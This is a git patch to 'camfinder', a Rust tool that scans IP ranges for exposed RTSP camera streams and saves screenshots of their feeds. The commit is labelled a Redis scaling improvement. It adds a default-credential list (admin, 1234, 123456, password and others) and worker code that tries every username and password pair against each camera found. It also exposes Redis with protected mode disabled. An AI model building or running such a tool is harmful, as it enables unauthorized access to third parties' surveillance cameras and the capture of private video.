From 0fc1473a6ffbd823523c1c80bab9877061d39417 Mon Sep 17 00:00:00 2001 From: Valmo Date: Tue, 30 Jun 2026 00:36:31 -0300 Subject: [PATCH] Improved scale on redis workers --- Dockerfile | 1 + README.md | 12 +- docker-compose.redis-rtsp.yml | 4 +- main_ids.json | 19 ++ src/config.rs | 33 ++- src/main.rs | 2 +- src/redis_rtsp.rs | 516 +++++++++++++++++++++++++++++----- 7 files changed, 497 insertions(+), 90 deletions(-) create mode 100644 main_ids.json diff --git a/Dockerfile b/Dockerfile index fe0dd66..40c32f5 100644 --- a/Dockerfile +++ b/Dockerfile @@ -15,5 +15,6 @@ WORKDIR /app COPY --from=builder /app/target/release/camfinder /usr/local/bin/camfinder COPY cidrs.txt /app/cidrs.txt COPY rtsp_paths.txt /app/rtsp_paths.txt +COPY main_ids.json /app/main_ids.json ENTRYPOINT ["camfinder"] diff --git a/README.md b/README.md index 93e4fbb..d2a77c9 100644 --- a/README.md +++ b/README.md @@ -28,14 +28,16 @@ O `docker-compose.yml` já sobe: Para o fluxo RTSP com Redis, use `docker-compose.redis-rtsp.yml`: -- `redis` como fila. -- `coordinator` para ler `camfinder-open-rtsp.csv` e alimentar a fila. -- `worker-1` e `worker-2` para consumir IPs, testar paths RTSP e salvar screenshots e SQLite. +- `redis` como fila. Ele publica a porta `6379`, então workers externos podem apontar `REDIS_URL` para esse host. +- `coordinator` para ler `camfinder-open-rtsp.csv` e alimentar a fila com blocos de IPs. +- `worker-1` e `worker-2` para consumir blocos, testar paths RTSP e salvar screenshots e SQLite. Para escalar workers: - `docker compose up --scale worker=3` +Para um worker em outra máquina, aponte `REDIS_URL` para o Redis do coordenador, por exemplo `redis://:6379/0`, e use o mesmo `RTSP_QUEUE_NAME`. + Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coordenador. ## Scripts @@ -67,6 +69,7 @@ Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coor - `RTSP_QUEUE_NAME` - `RTSP_INPUT_CSV` - `RTSP_WORKER_COUNT` +- `RTSP_QUEUE_BLOCK_SIZE` - `RTSP_SNAPSHOT_DIR` - `RTSP_SQLITE_PATH` - `RTSP_CAPTURE_TIMEOUT_MS` @@ -74,7 +77,8 @@ Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coor ## Modo RTSP O modo `rtsp` monta URLs no formato `rtsp://:554/` e testa a conexão -via `DESCRIBE`, sem tentar usuário, senha ou variações de autenticação. +via `DESCRIBE`, tentando primeiro sem auth e depois cruzando os usuários e +senhas padrão definidos em `main_ids.json`. Por padrão, ele lê os paths de [rtsp_paths.txt](/home/valmo/Documents/CamFinder/rtsp_paths.txt). diff --git a/docker-compose.redis-rtsp.yml b/docker-compose.redis-rtsp.yml index 6c2eb02..8fdb529 100644 --- a/docker-compose.redis-rtsp.yml +++ b/docker-compose.redis-rtsp.yml @@ -1,7 +1,9 @@ services: redis: image: redis:7-alpine - command: ["redis-server", "--appendonly", "yes"] + command: ["redis-server", "--appendonly", "yes", "--bind", "0.0.0.0", "--protected-mode", "no"] + ports: + - "6379:6379" volumes: - camfinder-redis:/data diff --git a/main_ids.json b/main_ids.json new file mode 100644 index 0000000..8244b3d --- /dev/null +++ b/main_ids.json @@ -0,0 +1,19 @@ +{ + "usernames": [ + "", + "admin" + ], + "passwords" : [ + "", + "admin", + "8888", + "9999", + "1234", + "12345", + "123456", + "123456789", + "1234567890", + "pass", + "password" + ] +} \ No newline at end of file diff --git a/src/config.rs b/src/config.rs index b9a6bfa..9c739d6 100644 --- a/src/config.rs +++ b/src/config.rs @@ -25,6 +25,7 @@ pub struct Config { pub redis_queue_name: String, pub redis_input_csv: String, pub redis_worker_count: usize, + pub redis_queue_block_size: usize, pub snapshot_dir: PathBuf, pub sqlite_path: PathBuf, pub capture_timeout_ms: u64, @@ -65,12 +66,16 @@ impl Config { .redis_worker_count .or_else(|| parse_usize("RTSP_WORKER_COUNT", 2).ok()) .unwrap_or(2), + redis_queue_block_size: cli + .redis_queue_block_size + .or_else(|| parse_usize("RTSP_QUEUE_BLOCK_SIZE", 128).ok()) + .unwrap_or(128), snapshot_dir: cli .snapshot_dir .unwrap_or_else(|| PathBuf::from(read_env("RTSP_SNAPSHOT_DIR", "dump/feeds"))), - sqlite_path: cli - .sqlite_path - .unwrap_or_else(|| PathBuf::from(read_env("RTSP_SQLITE_PATH", "dump/rtsp-results.sqlite"))), + sqlite_path: cli.sqlite_path.unwrap_or_else(|| { + PathBuf::from(read_env("RTSP_SQLITE_PATH", "dump/rtsp-results.sqlite")) + }), capture_timeout_ms: cli .capture_timeout_ms .or_else(|| parse_u64("RTSP_CAPTURE_TIMEOUT_MS", 15000).ok()) @@ -116,6 +121,7 @@ struct CliArgs { redis_queue_name: Option, redis_input_csv: Option, redis_worker_count: Option, + redis_queue_block_size: Option, snapshot_dir: Option, sqlite_path: Option, capture_timeout_ms: Option, @@ -177,13 +183,26 @@ impl CliArgs { "--worker-count", )?)?); } + "--queue-block-size" => { + cli.redis_queue_block_size = Some(parse_usize_literal(&next_value( + args, + &mut index, + "--queue-block-size", + )?)?); + } "--snapshot-dir" => { - cli.snapshot_dir = - Some(PathBuf::from(next_value(args, &mut index, "--snapshot-dir")?)); + cli.snapshot_dir = Some(PathBuf::from(next_value( + args, + &mut index, + "--snapshot-dir", + )?)); } "--sqlite-path" => { - cli.sqlite_path = - Some(PathBuf::from(next_value(args, &mut index, "--sqlite-path")?)); + cli.sqlite_path = Some(PathBuf::from(next_value( + args, + &mut index, + "--sqlite-path", + )?)); } "--capture-timeout-ms" => { cli.capture_timeout_ms = Some(parse_u64_literal(&next_value( diff --git a/src/main.rs b/src/main.rs index d4fbc3e..6d8ab6a 100644 --- a/src/main.rs +++ b/src/main.rs @@ -3,8 +3,8 @@ mod coordinator; mod db; mod ip; mod models; -mod rtsp; mod redis_rtsp; +mod rtsp; mod scan; mod terminal; mod worker; diff --git a/src/redis_rtsp.rs b/src/redis_rtsp.rs index 77e9968..5f675f5 100644 --- a/src/redis_rtsp.rs +++ b/src/redis_rtsp.rs @@ -4,6 +4,8 @@ use crate::{ }; use anyhow::{anyhow, Context, Result}; use std::{ + collections::HashSet, + fmt::Write as _, fs, path::{Path, PathBuf}, sync::atomic::{AtomicBool, Ordering}, @@ -38,6 +40,7 @@ pub async fn run_redis_coordinator( &config.redis_url, &config.redis_queue_name, &ips, + config.redis_queue_block_size.max(1), config.redis_worker_count.max(1), ) .await?; @@ -76,10 +79,12 @@ pub async fn run_redis_worker( let mut processed = 0usize; let mut captured = 0usize; let paths = normalize_paths(&config.rtsp_paths); + let credentials = load_rtsp_credentials(Path::new("main_ids.json"))?; println!( - "worker pronto para {} paths em {}", + "worker pronto para {} paths, {} credenciais e fila {}", paths.len(), + credentials.len(), config.redis_queue_name ); @@ -90,62 +95,94 @@ pub async fn run_redis_worker( match pop_queue_item(&config.redis_url, &config.redis_queue_name).await? { Some(item) if item == DEFAULT_SENTINEL => break, - Some(ip) => { - for rtsp_path in &paths { - if interrupted.load(Ordering::SeqCst) { - break; - } + Some(block) => { + for ip in parse_ip_block(&block) { + for rtsp_path in &paths { + if interrupted.load(Ordering::SeqCst) { + break; + } - let attempt = build_rtsp_url(&ip, config.port, &rtsp_path); - let checked_at = timestamp_millis(); - let probe = probe_rtsp(&attempt, config.capture_timeout_ms).await; + let mut path_captured = false; - let (status, screenshot_path, error) = if probe.is_connectable() { - let output_path = - build_snapshot_path(&config.snapshot_dir, &ip, &rtsp_path, checked_at); - let outcome = capture_feed(&attempt, &output_path, config.capture_timeout_ms) - .await; - - match outcome { - Ok(()) => { - captured += 1; - ( - "captured".to_string(), - Some(output_path.to_string_lossy().to_string()), - None, - ) + for credential in &credentials { + if interrupted.load(Ordering::SeqCst) { + break; } - Err(err) => { - let _ = fs::remove_file(&output_path); - ("failed".to_string(), None, Some(err.to_string())) + + let attempt = build_rtsp_url( + &ip, + config.port, + &rtsp_path, + credential.username.as_deref(), + credential.password.as_deref(), + ); + let checked_at = timestamp_millis(); + let probe = probe_rtsp(&attempt, config.capture_timeout_ms).await; + + let (status, screenshot_path, error, attempt_captured) = if probe + .is_connectable() + { + let output_path = build_snapshot_path( + &config.snapshot_dir, + &ip, + &rtsp_path, + checked_at, + ); + let outcome = + capture_feed(&attempt, &output_path, config.capture_timeout_ms) + .await; + + match outcome { + Ok(()) => ( + "captured".to_string(), + Some(output_path.to_string_lossy().to_string()), + None, + true, + ), + Err(err) => { + let _ = fs::remove_file(&output_path); + ("failed".to_string(), None, Some(err.to_string()), false) + } + } + } else { + ( + probe.status, + None, + probe.error.map(|error| error.to_string()), + false, + ) + }; + + insert_sqlite_result( + &config.sqlite_path, + checked_at, + &ip, + &rtsp_path, + &attempt, + status, + screenshot_path.as_deref(), + error.as_deref(), + ) + .await?; + + processed += 1; + println!( + "{} -> {}", + redact_rtsp_url(&attempt), + screenshot_path.unwrap_or_else(|| "sem imagem".to_string()) + ); + + if attempt_captured { + captured += 1; + path_captured = true; + break; } } - } else { - ( - probe.status, - None, - probe.error.map(|error| error.to_string()), - ) - }; - insert_sqlite_result( - &config.sqlite_path, - checked_at, - &ip, - &rtsp_path, - &attempt, - status, - screenshot_path.as_deref(), - error.as_deref(), - ) - .await?; - - processed += 1; - println!( - "{} -> {}", - attempt, - screenshot_path.unwrap_or_else(|| "sem imagem".to_string()) - ); + if path_captured { + continue; + } + } } } None => { @@ -195,12 +232,11 @@ async fn capture_feed(url: &str, output_path: &Path, timeout_ms: u64) -> Result< .arg("-y") .arg(output_path.as_os_str()); - let output = timeout( - Duration::from_millis(timeout_ms), - async { command.output().await }, - ) + let output = timeout(Duration::from_millis(timeout_ms), async { + command.output().await + }) .await - .map_err(|_| anyhow!("ffmpeg timeout for {url}"))??; + .map_err(|_| anyhow!("ffmpeg timeout for {}", redact_rtsp_url(url)))??; if output.status.success() { return Ok(()); @@ -211,7 +247,8 @@ async fn capture_feed(url: &str, output_path: &Path, timeout_ms: u64) -> Result< let _ = fs::remove_file(output_path); } Err(anyhow!( - "ffmpeg failed for {url}: {}", + "ffmpeg failed for {}: {}", + redact_rtsp_url(url), if stderr.is_empty() { "sem stderr".to_string() } else { @@ -269,11 +306,7 @@ async fn probe_rtsp(url: &str, timeout_ms: u64) -> RtspProbe { } let mut buf = vec![0u8; 1024]; - let read_result = timeout( - Duration::from_millis(timeout_ms), - stream.read(&mut buf), - ) - .await; + let read_result = timeout(Duration::from_millis(timeout_ms), stream.read(&mut buf)).await; let bytes_read = match read_result { Ok(Ok(0)) => { @@ -357,7 +390,11 @@ fn parse_rtsp_status(response: &[u8]) -> Result> { fn extract_host(url: &str) -> String { let rest = url.strip_prefix("rtsp://").unwrap_or(url); let authority = rest.split('/').next().unwrap_or(rest); - authority.to_string() + authority + .rsplit_once('@') + .map(|(_, host)| host) + .unwrap_or(authority) + .to_string() } async fn pop_queue_item(redis_url: &str, queue_name: &str) -> Result> { @@ -388,13 +425,14 @@ async fn enqueue_ips( redis_url: &str, queue_name: &str, ips: &[String], + block_size: usize, worker_count: usize, ) -> Result<()> { - for chunk in ips.chunks(400) { + for chunk in ips.chunks(block_size.max(1)) { let mut args = Vec::with_capacity(chunk.len() + 2); args.push("RPUSH".to_string()); args.push(queue_name.to_string()); - args.extend(chunk.iter().cloned()); + args.push(chunk.join("\n")); let args_ref = args.iter().map(String::as_str).collect::>(); let _ = redis_cli(redis_url, &args_ref).await?; } @@ -408,6 +446,18 @@ async fn enqueue_ips( Ok(()) } +fn parse_ip_block(block: &str) -> Vec { + block + .lines() + .map(str::trim) + .filter(|line| !line.is_empty() && !line.starts_with('#')) + .map(strip_quotes) + .filter(|line| !line.is_empty()) + .filter(|line| !is_header(line)) + .map(ToString::to_string) + .collect() +} + async fn redis_cli(redis_url: &str, args: &[&str]) -> Result { let mut command = Command::new("redis-cli"); command.kill_on_drop(true).arg("-u").arg(redis_url); @@ -474,14 +524,11 @@ async fn insert_sqlite_result( } async fn sqlite_exec(sqlite_path: &Path, sql: &str) -> Result<()> { - let output = timeout( - Duration::from_secs(20), - async { - let mut command = Command::new("sqlite3"); - command.kill_on_drop(true).arg(sqlite_path).arg(sql); - command.output().await - }, - ) + let output = timeout(Duration::from_secs(20), async { + let mut command = Command::new("sqlite3"); + command.kill_on_drop(true).arg(sqlite_path).arg(sql); + command.output().await + }) .await .context("sqlite3 timeout")??; @@ -501,8 +548,8 @@ async fn sqlite_exec(sqlite_path: &Path, sql: &str) -> Result<()> { } fn load_ip_list(input: &str) -> Result> { - let content = fs::read_to_string(input) - .with_context(|| format!("failed to read input CSV {input}"))?; + let content = + fs::read_to_string(input).with_context(|| format!("failed to read input CSV {input}"))?; let mut ips = Vec::new(); for line in content.lines() { @@ -539,8 +586,15 @@ fn normalize_paths(paths: &[String]) -> Vec { .collect() } -fn build_rtsp_url(ip: &str, port: u16, path: &str) -> String { - format!("rtsp://{ip}:{port}{path}") +fn build_rtsp_url( + ip: &str, + port: u16, + path: &str, + username: Option<&str>, + password: Option<&str>, +) -> String { + let auth = build_rtsp_auth_prefix(username, password); + format!("rtsp://{auth}{ip}:{port}{path}") } fn build_snapshot_path(base_dir: &Path, ip: &str, rtsp_path: &str, checked_at: i64) -> PathBuf { @@ -599,9 +653,317 @@ fn sanitize_component(value: &str) -> String { .collect() } +#[derive(Debug, Clone, Eq, PartialEq, Hash)] +struct RtspCredential { + username: Option, + password: Option, +} + +impl RtspCredential { + fn anonymous() -> Self { + Self { + username: None, + password: None, + } + } + + fn from_parts(username: Option<&str>, password: Option<&str>) -> Self { + Self { + username: username + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(ToString::to_string), + password: password + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(ToString::to_string), + } + } +} + +fn load_rtsp_credentials(path: &Path) -> Result> { + let content = fs::read_to_string(path) + .with_context(|| format!("failed to read RTSP credential file {}", path.display()))?; + let usernames = parse_json_string_array(&content, "usernames")?; + let passwords = parse_json_string_array(&content, "passwords")?; + Ok(build_rtsp_credentials(&usernames, &passwords)) +} + +fn build_rtsp_credentials(usernames: &[String], passwords: &[String]) -> Vec { + let mut credentials = Vec::new(); + let mut seen = HashSet::new(); + + push_credential(&mut credentials, &mut seen, RtspCredential::anonymous()); + + for username in usernames.iter().filter(|value| !value.trim().is_empty()) { + push_credential( + &mut credentials, + &mut seen, + RtspCredential::from_parts(Some(username), None), + ); + } + + for password in passwords.iter().filter(|value| !value.trim().is_empty()) { + push_credential( + &mut credentials, + &mut seen, + RtspCredential::from_parts(None, Some(password)), + ); + } + + for username in usernames.iter().filter(|value| !value.trim().is_empty()) { + for password in passwords.iter().filter(|value| !value.trim().is_empty()) { + push_credential( + &mut credentials, + &mut seen, + RtspCredential::from_parts(Some(username), Some(password)), + ); + } + } + + credentials +} + +fn push_credential( + credentials: &mut Vec, + seen: &mut HashSet, + credential: RtspCredential, +) { + if seen.insert(credential.clone()) { + credentials.push(credential); + } +} + +fn parse_json_string_array(input: &str, key: &str) -> Result> { + let marker = format!("\"{key}\""); + let Some(key_pos) = input.find(&marker) else { + return Err(anyhow!("missing {key} field in RTSP credential file")); + }; + + let after_key = &input[key_pos + marker.len()..]; + let Some(array_start) = after_key.find('[') else { + return Err(anyhow!("missing {key} array in RTSP credential file")); + }; + + let array_start = key_pos + marker.len() + array_start; + let array_end = find_matching_bracket(input, array_start)?; + let array_body = &input[array_start + 1..array_end]; + parse_json_string_values(array_body) +} + +fn find_matching_bracket(input: &str, open_index: usize) -> Result { + let mut in_string = false; + let mut escape = false; + + for (index, ch) in input[open_index..].char_indices() { + let index = open_index + index; + if escape { + escape = false; + continue; + } + + match ch { + '\\' if in_string => escape = true, + '"' => in_string = !in_string, + '[' if !in_string => {} + ']' if !in_string => return Ok(index), + _ => {} + } + } + + Err(anyhow!("unterminated JSON array in RTSP credential file")) +} + +fn parse_json_string_values(input: &str) -> Result> { + let mut values = Vec::new(); + let mut index = 0; + let bytes = input.as_bytes(); + + while index < bytes.len() { + skip_json_whitespace(input, &mut index); + if index >= bytes.len() { + break; + } + if bytes[index] == b',' { + index += 1; + continue; + } + if bytes[index] != b'"' { + return Err(anyhow!("expected JSON string in RTSP credential file")); + } + + index += 1; + let mut value = String::new(); + while index < bytes.len() { + let ch = input[index..] + .chars() + .next() + .ok_or_else(|| anyhow!("invalid UTF-8 in RTSP credential file"))?; + index += ch.len_utf8(); + + match ch { + '"' => break, + '\\' => { + let esc = input[index..] + .chars() + .next() + .ok_or_else(|| anyhow!("unterminated escape in RTSP credential file"))?; + index += esc.len_utf8(); + match esc { + '"' | '\\' | '/' => value.push(esc), + 'b' => value.push('\u{0008}'), + 'f' => value.push('\u{000C}'), + 'n' => value.push('\n'), + 'r' => value.push('\r'), + 't' => value.push('\t'), + other => { + return Err(anyhow!( + "unsupported JSON escape \\{other} in RTSP credential file" + )); + } + } + } + other => value.push(other), + } + } + + values.push(value); + skip_json_whitespace(input, &mut index); + if index < bytes.len() && bytes[index] == b',' { + index += 1; + } + } + + Ok(values) +} + +fn skip_json_whitespace(input: &str, index: &mut usize) { + let bytes = input.as_bytes(); + while *index < bytes.len() && bytes[*index].is_ascii_whitespace() { + *index += 1; + } +} + +fn build_rtsp_auth_prefix(username: Option<&str>, password: Option<&str>) -> String { + match (username, password) { + (None, None) => String::new(), + (Some(username), Some(password)) => { + format!( + "{}:{}@", + encode_rtsp_userinfo(username), + encode_rtsp_userinfo(password) + ) + } + (Some(username), None) => format!("{}@", encode_rtsp_userinfo(username)), + (None, Some(password)) => format!(":{}@", encode_rtsp_userinfo(password)), + } +} + +fn encode_rtsp_userinfo(value: &str) -> String { + let mut encoded = String::with_capacity(value.len()); + for byte in value.as_bytes() { + match byte { + b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'.' | b'_' | b'~' => { + encoded.push(*byte as char) + } + _ => { + let _ = write!(&mut encoded, "%{byte:02X}"); + } + } + } + encoded +} + +fn redact_rtsp_url(url: &str) -> String { + let Some(rest) = url.strip_prefix("rtsp://") else { + return url.to_string(); + }; + + let Some((authority, path)) = rest.split_once('/') else { + return url.to_string(); + }; + + let Some((userinfo, host)) = authority.rsplit_once('@') else { + return url.to_string(); + }; + + let redacted_userinfo = match userinfo.split_once(':') { + Some((user, _)) if !user.is_empty() => format!("{user}:***"), + Some(_) => "***".to_string(), + None if !userinfo.is_empty() => format!("{userinfo}:***"), + None => "***".to_string(), + }; + + format!("rtsp://{}@{}/{}", redacted_userinfo, host, path) +} + fn timestamp_millis() -> i64 { SystemTime::now() .duration_since(UNIX_EPOCH) .map(|duration| duration.as_millis() as i64) .unwrap_or_default() } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn builds_credential_combinations_in_useful_order() { + let usernames = vec!["".to_string(), "admin".to_string()]; + let passwords = vec!["".to_string(), "1234".to_string()]; + + let credentials = build_rtsp_credentials(&usernames, &passwords); + + assert_eq!( + credentials, + vec![ + RtspCredential::anonymous(), + RtspCredential::from_parts(Some("admin"), None), + RtspCredential::from_parts(None, Some("1234")), + RtspCredential::from_parts(Some("admin"), Some("1234")), + ] + ); + } + + #[test] + fn builds_and_redacts_rtsp_urls_with_auth() { + let url = build_rtsp_url("192.168.1.10", 554, "/stream", Some("admin"), Some("1234")); + + assert_eq!(url, "rtsp://admin:1234@192.168.1.10:554/stream"); + assert_eq!( + redact_rtsp_url(&url), + "rtsp://admin:***@192.168.1.10:554/stream" + ); + assert_eq!(extract_host(&url), "192.168.1.10:554"); + } + + #[test] + fn parses_json_arrays_with_strings() { + let input = r#" + { + "usernames": ["", "admin"], + "passwords": ["", "1234"] + } + "#; + + assert_eq!( + parse_json_string_array(input, "usernames").unwrap(), + vec!["".to_string(), "admin".to_string()] + ); + assert_eq!( + parse_json_string_array(input, "passwords").unwrap(), + vec!["".to_string(), "1234".to_string()] + ); + } + + #[test] + fn parses_queue_blocks_into_ips() { + let block = "192.168.0.10\n192.168.0.11\n\n# ignored\ncamera"; + + assert_eq!( + parse_ip_block(block), + vec!["192.168.0.10".to_string(), "192.168.0.11".to_string()] + ); + } +}